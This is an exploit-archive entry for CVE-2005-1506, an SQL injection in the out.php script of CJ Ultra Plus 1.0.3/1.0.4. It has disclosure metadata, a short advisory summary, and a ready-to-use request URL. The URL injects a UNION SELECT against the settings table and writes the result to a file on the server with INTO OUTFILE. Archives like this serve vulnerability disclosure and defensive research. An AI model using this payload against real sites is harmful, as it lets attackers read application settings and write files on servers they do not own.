CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection

Author: Kold
type: webapps
platform: php
port: 
date_added: 2005-05-06 
date_updated: 2016-12-22 
verified: 1 
codes: CVE-2005-1506;OSVDB-16159 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/13533/info

CJ Ultra Plus is prone to an SQL injection vulnerability.

This issue affects the 'out.php' script and could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

/out.php?url=sad&perm=33333333333333333333333333332'%20UNION%20SELECT%20b12,b12%20FROM%20settings%20INTO%20OUTFILE%20'/path/to/ur/dir/x.txt/*